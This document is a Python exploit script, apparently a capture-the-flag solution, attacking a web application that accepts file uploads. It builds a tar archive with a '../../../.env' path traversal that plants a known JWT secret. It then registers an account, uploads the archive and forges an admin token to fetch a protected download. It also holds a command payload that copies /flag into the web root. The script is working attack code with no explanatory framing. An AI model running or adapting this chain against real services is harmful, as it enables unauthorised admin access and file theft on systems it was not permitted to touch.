1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| import jwt import datetime import os import tarfile import sys import requests import random import string
def generate_random_string(length): letters = string.ascii_letters + string.digits return ''.join(random.choice(letters) for i in range(length))
def send_request(session, method, path, data=None, files=None, headers=None): url = f"http://{session.url}{path}" response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'}) return response
def generate_jwt(user_id, is_admin, jwt_key): expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24) claims = { 'UserID': user_id, 'IsAdmin': is_admin, 'exp': expiration_time } token = jwt.encode(claims, jwt_key, algorithm='HS256') return token
def create_malicious_tar(): # Create the directory and .env file os.makedirs('exp', exist_ok=True) with open('exp/.env', 'w') as f: f.write("JWT_SECRET=hack")
# Create the tar file with the path traversal with tarfile.open('hack.tar', 'w') as tar: tar.add('exp/.env', arcname='exp/../../../.env')
def exp(url, token): payload = "echo `cat /flag` > /var/www/html/public/flag.txt"
session = requests.Session() session.url = url
random_string = generate_random_string(4)
user_data = { "username": random_string, "password": random_string } response1 = send_request(session, 'POST', '/register', data=user_data) if response1.status_code != 200: return "Failed to register" response2 = send_request(session, 'POST', '/login', data=user_data) if response2.status_code != 200: return "Failed to login"
with open('hack.tar', 'rb') as f: files = {'file': f} response3 = send_request(session, 'POST', '/upload', files=files) if response3.status_code != 200: return "Failed to upload malicious tar file" print("Malicious tar file uploaded successfully")
# 触发加载环境变量 send_request(session, 'GET', '/login') headers = { 'Cookie': f'token={token}' } response4 = send_request(session, 'GET', '/download/1', headers=headers) return response4.text
if __name__ == "__main__": create_malicious_tar() print("Malicious tar file created: hack.tar")
jwt_key = "hack" user_id = 1 is_admin = True
token = generate_jwt(user_id, is_admin, jwt_key) print("Generated JWT:", token)
URL = sys.argv[1] flag = exp(URL, token) print(flag)
|